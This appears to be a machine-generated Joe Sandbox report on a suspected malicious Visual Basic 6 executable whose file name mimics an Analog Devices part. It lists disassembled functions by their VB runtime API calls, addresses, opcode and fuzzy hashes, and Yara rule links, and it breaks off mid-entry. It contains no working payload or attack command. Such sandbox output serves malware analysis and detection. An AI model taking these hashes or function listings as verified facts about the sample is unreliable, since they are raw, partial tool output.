Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$#580ErrorFileFree$#570#648ChkstkCloseCopyOpenOverflowPut3Put4
String ID:
API String ID: 633625294-0
Opcode ID: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction ID: 077cd5495f4d2610dc4ebb710a7c1806296cb1f910c24ca7336927bb814984b8
Opcode Fuzzy Hash: c184e6fed43095bbc808ed6dabd80215540fbf370ef609e54faf454b01daf8be
Instruction Fuzzy Hash: FE311AB5900208EFEB04DF94DA48BDEBBB8FF48715F108259F501BB6A0D7795A84CB64

Function 00419B10 Relevance: 21.1, APIs: 14, Instructions: 82COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,?,0040DFD2,?,?,?,Function_000032B6), ref: 00419B2E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 00419B5E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B79
#525.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419B83
__vbaStrMove.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 00419B8E
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BA9
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BC4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,?,Function_000032B6), ref: 00419BD6
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00419BE4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419BED
#519.MSVBVM60(?,?,?,?,?,?,?,Function_000032B6), ref: 00419BFE
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C09
__vbaFreeStr.MSVBVM60(00419C3D,?,?,?,?,?,?,Function_000032B6), ref: 00419C36
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00419C53

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$FreeMove$#519#525AnsiChkstkOverflowUnicode
String ID:
API String ID: 3463755217-0
Opcode ID: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction ID: 59ab86815b635178f25ac20134c8c30b5a73cca353c440905f8b97c0bcbdadc5
Opcode Fuzzy Hash: b493d4c5f5f54a827ca7640190fff222c55f1d558614f84cc34330e3b91e4b31
Instruction Fuzzy Hash: D331CE75900248EFCB04EFA4DA48BDE7BB4FB48305F108669F501B7260DB799A44CB64

Function 004212F0 Relevance: 19.6, APIs: 13, Instructions: 120COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,-00000001,00000000,6D044F32,00000000,00000FEE), ref: 0042134B
__vbaAryLock.MSVBVM60(?,00000000), ref: 00421365
__vbaGenerateBoundsError.MSVBVM60 ref: 00421386
__vbaGenerateBoundsError.MSVBVM60 ref: 00421395
__vbaAryLock.MSVBVM60(?,?), ref: 004213A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004213BD
__vbaGenerateBoundsError.MSVBVM60 ref: 004213C6
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000), ref: 004213E9
__vbaAryUnlock.MSVBVM60(?), ref: 004213F9
__vbaAryUnlock.MSVBVM60(?), ref: 004213FF
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00421412
__vbaAryDestruct.MSVBVM60(00000000,?,0042143F,6D044F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF), ref: 00421438
__vbaErrorOverflow.MSVBVM60(00000000,6D044F32,00000000,00000FEE,?,?,?,?,?,?,?,?,?,7FFFFFFF,Function_000032B6), ref: 00421450

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructOverflowOwner3RedimSystem
String ID:
API String ID: 3281955820-0
Opcode ID: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction ID: d3bc4d229a8ccd66a9bed061019a776db086e1d909af8dc46df260a90b41282b
Opcode Fuzzy Hash: 47b01bcdffa297faf139a01935df7f97165424e177e24eb6e474878f494e6cb8
Instruction Fuzzy Hash: 5E418170E00219DFDB14EF94DD81AAEF7B9EF58700F50811AE501B7660D6B4A8428BE9

Function 0042A2F9 Relevance: 19.6, APIs: 13, Instructions: 104COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000004), ref: 0042A30A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0,?,?), ref: 0042A334
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188,?,?,?,?), ref: 0042A35B
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?), ref: 0042A36D
__vbaAryLock.MSVBVM60(?), ref: 0042A37D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 0042A39C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3B1
__vbaGenerateBoundsError.MSVBVM60 ref: 0042A3C7
__vbaI4Var.MSVBVM60(?,00000000,?,?,?,00000000), ref: 0042A3E6
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0042A3F6
__vbaAryUnlock.MSVBVM60(?), ref: 0042A400
__vbaFreeObj.MSVBVM60 ref: 0042A409
__vbaFreeVar.MSVBVM60 ref: 0042A412

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$CheckFreeHresult$CallLateLockRedimSystemUnlock
String ID:
API String ID: 204333147-0
Opcode ID: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction ID: 897c9a6cfbc361b2304c829fc1f6f3fe0cbd2f804f2c9409275e98d7ea74f451
Opcode Fuzzy Hash: eed45411d0b160e1ff50d70acd90705767be5c6f0f77f9bda94638718aae2953
Instruction Fuzzy Hash: E031A234600215EBDB04DBA0DD89EAEB779FF44704F208529F902BB2A1D774AC46CB69

Function 0041A090 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157
__vbaSetSystemError.MSVBVM60(00000004,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A175
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A1B2
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A207
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A230
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041A246
__vbaSetSystemError.MSVBVM60(?,0042C27C,?,?,?,00000000,Function_000032B6), ref: 0041A26C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041A28F

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction ID: 8b7a934a7eebc36cfe3af54c4ed22efe6341180558cb6e4886e9f12f2822d10f
Opcode Fuzzy Hash: e179d2bbb2490744295fa45cb8a75386843ea1c857eacf9360e485d96fec70f9
Instruction Fuzzy Hash: 7B51FA74901208EBDB10DFE4DA48BDEBBB5FF48308F208569E501B7390D7799A44DBA9

Function 0041E730 Relevance: 18.1, APIs: 12, Instructions: 85COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0040F418,0042C0BC,?), ref: 0041E74E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0041E77E
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0041E795
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7A1
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E7AF
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0041E7B8
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7D3
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7E4
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,?,Function_000032B6), ref: 0041E7F5
__vbaStrToUnicode.MSVBVM60(0042C0BC,?,?,?,?,?,?,Function_000032B6), ref: 0041E803
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,Function_000032B6), ref: 0041E811
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,Function_000032B6), ref: 0041E827

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AnsiErrorUnicode$FreeSystem$ChkstkList
String ID:
API String ID: 3861917509-0
Opcode ID: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction ID: a92ad539ecbf6efebda2d3259df1282ada01a5d6d20107e5edffdf3838fad138
Opcode Fuzzy Hash: 85e4f07598a0960e0cabd3e4e7a1ed0f25af75eec3b758aa50ec09c6dfd0cf73
Instruction Fuzzy Hash: 61310CB5900208EFCB00DFE4DA88FDEBBB8EB48314F108259F501B7290C7789A44CBA4

Function 00415830 Relevance: 18.1, APIs: 12, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(0040CEB3,004032B6,0040CEB3,?,?,?,00000000,004032B6), ref: 0041584E
__vbaOnError.MSVBVM60(000000FF,?,?,?,0040CEB3,004032B6,0040CEB3), ref: 0041587E
#648.MSVBVM60(0000000A), ref: 0041589D
__vbaFreeVar.MSVBVM60 ref: 004158AA
__vbaFileOpen.MSVBVM60(00000120,000000FF,?), ref: 004158C9
#570.MSVBVM60(?), ref: 004158DB
#525.MSVBVM60(00000000), ref: 004158E2
__vbaStrMove.MSVBVM60 ref: 004158ED
__vbaGet3.MSVBVM60(00000000,?,?), ref: 00415905
__vbaFileClose.MSVBVM60(?), ref: 00415917
__vbaStrCopy.MSVBVM60 ref: 0041592A
__vbaFreeStr.MSVBVM60(0041595E), ref: 00415957

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FileFree$#525#570#648ChkstkCloseCopyErrorGet3MoveOpen
String ID:
API String ID: 947554498-0
Opcode ID: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction ID: 9d0290c9668b0b97bc5e056eca09828b1551f52cd0b7d0ae963dc3f7ea44dd8b
Opcode Fuzzy Hash: a4844d169c03657195c66291a7f0840fb89a4f1fe1073a2b47ba6fd526ef2949
Instruction Fuzzy Hash: A0314BB5C00248EBDB00DFD4DA48BDEBBB8FF08714F208159E611B72A0DB795A48CB64

Function 00405037 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040FF4E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040FF95
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0040FFC6
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,0000004C), ref: 0040FFF9
__vbaFreeObj.MSVBVM60 ref: 00410038
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004082BC,00000040), ref: 004100B9
__vbaLateIdCall.MSVBVM60(?,60030004,00000000), ref: 004100DC
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004100EF
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 00410112
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041011D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 00410150
__vbaFreeObj.MSVBVM60 ref: 0041016B

Strings

[, xrefs: 00405037

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckFreeHresult$CallCastChkstkErrorLateList
String ID: [
API String ID: 269068952-784033777
Opcode ID: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction ID: 16c54425a3ce120e5e2135e3149755cc9251ea993a7cd341aaf2995901e8571e
Opcode Fuzzy Hash: 5016deb1a59da2f2e0196918561fb49243e5c565f0178785edbf7654f715f660
Instruction Fuzzy Hash: 61512A75900608EBDB10DFA4D948BDEBBB4FF08704F20825DF515AB291D7799A84CFA8

Function 00419626 Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaGenerateBoundsError.MSVBVM60 ref: 00419688
__vbaGenerateBoundsError.MSVBVM60 ref: 004196A2
__vbaStrMove.MSVBVM60(?), ref: 004196C9
__vbaAryUnlock.MSVBVM60(00000000), ref: 004196D3
__vbaStrComp.MSVBVM60(00000001,00000000,?), ref: 004196E5
__vbaFreeStr.MSVBVM60 ref: 004196FA
__vbaGenerateBoundsError.MSVBVM60 ref: 00419745
__vbaGenerateBoundsError.MSVBVM60 ref: 0041975F
__vbaCopyBytes.MSVBVM60(00000010,00000000,?), ref: 0041977E
__vbaErase.MSVBVM60(00000000,?), ref: 004197AC
__vbaErase.MSVBVM60(00000000,?), ref: 004197BF
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC
__vbaErrorOverflow.MSVBVM60 ref: 0041981A

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$DestructErase$BytesCompCopyFreeLockMoveOverflowUnlock
String ID:
API String ID: 2458773320-0
Opcode ID: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction ID: b4eaaf3b6912c0b715553f9d0a6d665ec823eac17e865164621a45f09c466846
Opcode Fuzzy Hash: 385b518716c5d96581d354086ed4219ffaaac5b28a4e957e8dddbad5aed777d6
Instruction Fuzzy Hash: E8510874A10109EFDB08DF94DAA8BEDB7B5FF44301F208199E516AB290CB74AD81CF55

Function 004295B0 Relevance: 16.6, APIs: 11, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
__vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
__vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
__vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AnsiUnicode$ErrorFreeListSystem
String ID:
API String ID: 3859701107-0
Opcode ID: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction ID: 594d62947b0162dfde37296f4cb3f61c41ad37821fc0585372e9270dc8f55869
Opcode Fuzzy Hash: 5c61e922defa331cc4ce072f563674e95d7f8f498ef2ac34effc3ba57cb8711b
Instruction Fuzzy Hash: D031B6B5D10219AFCB04DFA4CD85DEFBBBCEB8C700F10455AE901A7250D674A9058FB4

Function 0040DAA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DABE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DB05
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB1E
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB29

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB4A
__vbaStrCat.MSVBVM60( RU,00000000,?,?,?,?,Function_000032B6), ref: 0040DB63
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DB6E
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000,?,?,?,?,Function_000032B6), ref: 0040DB8F

Part of subcall function 00415FD0: __vbaSetSystemError.MSVBVM60(00000000,0040DBA1,?,?,?,?,Function_000032B6), ref: 00415FE5

Part of subcall function 00416100: __vbaSetSystemError.MSVBVM60(00000000,0040DBAD,?,?,?,?,Function_000032B6), ref: 00416115

Strings

RU, xrefs: 0040DB19, 0040DB5E

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$Free$System$AnsiCopyUnicode$ChkstkMove$BstrList
String ID: RU
API String ID: 279242310-1417676127
Opcode ID: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction ID: a5e5539ec0bd47771e5bba15ffd7383eda2de6e9d9ac7ceec32cc9b4ad75a0a3
Opcode Fuzzy Hash: 834666a230e91adafad132ac9b958fc5a9d9edbf53aecaab06e1bd8c04ae2b97
Instruction Fuzzy Hash: A7312A71600244EFDB00DF94DE4AF9E7BB8FB48704F60816DF505A72A0CB786A44CBA9

Function 00429070 Relevance: 15.1, APIs: 10, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042908E
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,?,?,Function_000032B6), ref: 004290D4
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004290E3
__vbaVarVargNofree.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004290F6
__vbaStrErrVarCopy.MSVBVM60(00000000,?,?,?,?,Function_000032B6), ref: 004290FD
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429108
__vbaChkstk.MSVBVM60 ref: 00429120
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00429146
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 00429152
__vbaFreeObj.MSVBVM60(0042917A,?,?,?,?,?,?,Function_000032B6), ref: 00429173

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ChkstkFree$AddrefCopyErrorEventMoveNofreeRaiseVarg
String ID:
API String ID: 3705209087-0
Opcode ID: 81121c5470669a7c16739aa6be5f71145eac563f112db7cdea347d1295e6e5d1
Instruction ID: f347cf2a893cf853362eea099f11493267eac5c9acb7e4d5a4fc20cfa02f8f68
